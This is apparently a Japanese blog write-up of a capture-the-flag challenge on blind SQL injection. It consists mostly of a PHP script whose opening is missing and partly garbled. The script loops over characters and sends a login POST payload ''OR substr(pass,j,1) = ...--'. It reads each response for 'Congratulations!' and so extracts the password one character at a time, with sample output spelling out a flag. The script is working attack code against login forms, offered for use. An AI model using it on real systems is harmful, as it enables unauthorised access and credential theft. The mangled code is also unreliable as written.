Blind SQL injection
Blind SQL injection
http://www.atmarkit.co.jp/fsecurity/rensai/hoshino09/hoshino02.html
上記URLの内容を今回の課題に合うように修正し、リクエストを投げるスクリプトを書いた。単純にループで文字列0からzまでを評価しているのみであり、特に工夫はしていない。
'admin', 'pass' => '\'OR substr(pass,'.$j.',1) = "'.chr($i).'" --', ); $headers = array( "Content-Type: application/x-www-form-urlencoded", ); $options = array('http' => array( 'method' => 'POST', 'content' => http_build_query($data), 'header' => implode("\r\n",$headers), )); $contents = file_get_contents($url, false, stream_context_create($options)); $pos = strpos($contents, "Congratulations!"); if($pos == true){ echo "CORRECT"." ".chr($i)."\n"; $flag = 1; }; } if($flag == 0){ break; } } ?>
実行結果は以下のようになる。今回は、条件にマッチした場合の$contentsに"Congratulations!"という文字列が含まれることを用いてパスワードを1文字ずつ判定している。
CORRECT F CORRECT L CORRECT A CORRECT G CORRECT _ ...